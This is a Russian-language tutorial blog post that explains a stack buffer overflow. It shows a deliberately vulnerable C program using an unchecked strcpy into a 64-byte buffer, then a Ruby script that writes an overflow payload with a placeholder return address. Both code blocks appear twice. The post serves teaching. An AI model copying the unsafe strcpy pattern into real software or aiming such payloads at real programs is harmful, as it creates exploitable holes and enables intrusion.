Главная страница » Блог » Пример создания простого эксплоита на Ruby, для уязвимости переполнения буфера

Пример создания простого эксплоита на Ruby, для уязвимости переполнения буфера

Mikhail Tarasov
10 июля, 2024

Рассмотрим пример создания простого эксплоита для уязвимости переполнения буфера. Предположим, что у нас есть программа на C, которая имеет уязвимость переполнения буфера:

#include <stdio.h>
#include <string.h>
void vulnerable_function(char *input) {
    char buffer[64];
    strcpy(buffer, input);
    printf("Buffer: %s\n", buffer);
}
int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("Usage: %s <input>\n", argv[0]);
        return 1;
    }
    vulnerable_function(argv[1]);
    return 0;
}

#include <stdio.h>

#include <string.h>

void vulnerable_function(char *input) {

char buffer[64];

strcpy(buffer, input);

printf("Buffer: %s\n", buffer);

}

int main(int argc, char *argv[]) {

if (argc < 2) {

printf("Usage: %s <input>\n", argv[0]);

return 1;

}

vulnerable_function(argv[1]);

return 0;

}

Эта программа принимает ввод от пользователя и копирует его в буфер фиксированного размера без проверки длины ввода. Мы можем использовать Ruby для создания эксплоита, который переполнит буфер и выполнит произвольный код.

# exploit.rb
payload = "A" * 72  # Переполняем буфер и перезаписываем адрес возврата
payload += "\xef\xbe\xad\xde"  # Адрес возврата (пример)
File.open("exploit_input.txt", "w") do |file|
  file.write(payload)
end
puts "Exploit payload written to exploit_input.txt"

# exploit.rb

payload = "A" * 72 # Переполняем буфер и перезаписываем адрес возврата

payload += "\xef\xbe\xad\xde" # Адрес возврата (пример)

File.open("exploit_input.txt", "w") do |file|

file.write(payload)

end

puts "Exploit payload written to exploit_input.txt"

Этот скрипт создает файл exploit_input.txt с полезной нагрузкой, которая переполняет буфер и перезаписывает адрес возврата. В реальной атаке адрес возврата будет указывать на вредоносный код, который мы хотим выполнить.